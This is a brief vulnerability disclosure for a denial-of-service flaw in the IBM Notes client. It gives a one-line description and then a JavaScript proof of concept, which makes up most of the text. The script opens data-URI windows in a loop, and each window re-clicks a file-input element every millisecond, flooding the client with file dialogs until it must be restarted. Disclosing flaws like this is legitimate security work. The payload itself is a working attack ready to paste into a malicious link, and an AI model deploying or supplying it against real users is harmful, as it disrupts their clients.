1. Description

IBM Notes is vulnerable to a denial of service involving persuading a user to click on a malicious link, which would ultimately cause the client to have to be restarted.

2. Proof of concept

<script>
var w;
var wins = {};
var i = 1;
f.click();
setInterval("f.click()", 1);
setInterval(function(){
for (var k in wins) {
// after creating window .status = '' (empty string), when the file dialog is displayed its value changes to 'undefined'.
if (wins[k] && wins[k].status === undefined) {
wins[k].close();
delete wins[k];
}
}
w = open('data:text/html,<input type=file id=f><script>f.click();setInterval("f.click()", 1);<\/script>');
if (w) {
wins[i] = w;
i++;
}
}, 1);
</script>
